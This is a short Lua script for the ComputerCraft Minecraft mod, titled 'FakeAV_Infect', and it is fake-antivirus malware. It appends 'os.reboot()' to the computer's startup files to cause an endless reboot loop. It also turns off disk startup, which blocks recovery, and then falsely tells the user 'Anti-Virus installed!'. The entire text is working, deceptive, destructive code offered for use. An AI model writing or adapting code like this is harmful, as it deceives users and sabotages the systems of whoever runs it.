FakeAV_Infect

function checkInfect(file) -- Checks if file exists, if it does then infects
  if fs.exists(file) then -- Checks if file exists
    f = fs.open(file, "a") -- Opens file in append mode
    f.writeLine("os.reboot()") -- Writes "os.reboot()" to end of file
    f.close() -- Closes file
  end
end

checkInfect("startup")
checkInfect("startup.lua") -- This is for the newer 1.12.2 version of CC
shell.run("set shell.allow_disk_startup false") -- Turns off disk startup files
term.clear()
term.setCursorPos(1,1)
print("Anti-Virus installed!")